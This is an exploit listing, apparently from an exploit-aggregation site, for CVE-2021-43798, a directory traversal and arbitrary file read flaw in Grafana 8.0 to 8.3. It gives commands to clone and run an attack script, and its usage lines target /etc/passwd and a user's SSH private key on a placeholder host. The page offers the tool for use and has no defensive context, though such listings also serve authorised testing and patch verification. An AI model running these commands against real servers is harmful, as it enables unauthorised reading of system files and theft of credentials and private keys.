## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WAGNERALVES-CVE-2021-43798
# CVE-2021-43798
Directory Traversal and Arbitrary File Read on Grafana
Authors:
Wagner Alves - Red Team Analyst
This exploit leverages Directory Traversal and Arbitrary File Read vulnerabilities in Grafana 8.0 - 8.3, allowing it to read files such as /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release, and other interesting files.
## Installation
root@kitploit:~
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
## Usage
root@kitploit:~
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd

root@kitploit:~
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa

root@kitploit:~
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa